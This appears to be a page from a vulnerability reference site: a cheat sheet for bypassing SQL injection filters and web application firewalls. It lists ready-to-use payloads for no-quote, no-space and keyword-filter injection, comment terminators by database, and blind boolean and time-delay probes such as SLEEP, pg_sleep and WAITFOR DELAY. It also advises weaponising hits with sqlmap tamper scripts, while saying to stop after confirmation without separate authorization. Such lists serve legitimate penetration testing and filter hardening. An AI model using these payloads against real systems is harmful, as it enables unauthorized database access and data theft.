vulns.cofield index
Enter
Contribute
Parser and control bypass reference

SQLi filter / quote bypass

Get injection working when quotes, spaces or keywords are filtered. Confirm and weaponise with sqlmap's tamper scripts once a candidate responds.

sqlidatabasewaf
Stable IDbypass:sqliLast updatedLast verifiedLegacy review pendingProvenanceCurated reference
Compare behaviorA bypass claim needs a control request and a clear boundary that changed.

Stop after confirmation. Do not escalate impact without separate authorization.

No-quote injection

Numeric contexts and hex/CHAR literals need no string delimiter.

  • 1 OR 1=1
  • 1 OR 0x61=0x61
  • 1 OR CHAR(97)=CHAR(97)

No-space injection

Comments, parentheses and alternate whitespace reconstruct the statement.

  • 1/**/OR/**/1=1
  • 1%0aOR%0a1=1
  • 1)OR(1=1

Keyword-filter bypass

Case-mangling and nested keywords defeat naive `replace('select','')` filters.

  • UNiOn SeLeCt
  • UNIONUNION SELECTSELECT
  • /*!UNION*//*!SELECT*/

Comment terminators by DBMS

`-- ` needs the trailing space - always send `-- -`.

  • -- -
  • #
  • /*comment*/
  • ;%00

Blind confirm (boolean / time)

Infer from response difference or induced delay when output is suppressed.

  • ' AND 1=1-- -
  • ' AND 1=2-- -
  • ' AND SLEEP(5)-- -
  • '||pg_sleep(5)-- -
  • ';WAITFOR DELAY '0:0:5'-- -

Version history: normalized permanent page created 2026-08-20.